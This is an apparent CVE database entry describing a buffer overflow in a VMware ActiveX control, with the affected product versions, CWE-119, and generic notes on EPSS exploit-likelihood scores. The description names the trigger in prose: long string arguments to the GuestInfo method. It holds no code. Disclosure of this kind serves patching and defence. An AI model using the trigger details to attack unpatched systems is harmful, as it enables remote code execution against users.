CVE Descriptions

Buffer overflow in a certain ActiveX control in the COM API in VMware Workstation 5.5.x before 5.5.8 build 108000, VMware Workstation 6.0.x before 6.0.5 build 109488, VMware Player 1.x before 1.0.8 build 108000, VMware Player 2.x before 2.0.5 build 109488, VMware ACE 1.x before 1.0.7 build 108880, VMware ACE 2.x before 2.0.5 build 109488, and VMware Server before 1.0.7 build 108231 allows remote attackers to cause a denial of service (browser crash) or possibly execute arbitrary code via a call to the GuestInfo method in which there is a long string argument, and an assignment of a long string value to the result of this call. NOTE: this may overlap CVE-2008-3691, CVE-2008-3692, CVE-2008-3693, CVE-2008-3694, CVE-2008-3695, or CVE-2008-3696.

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
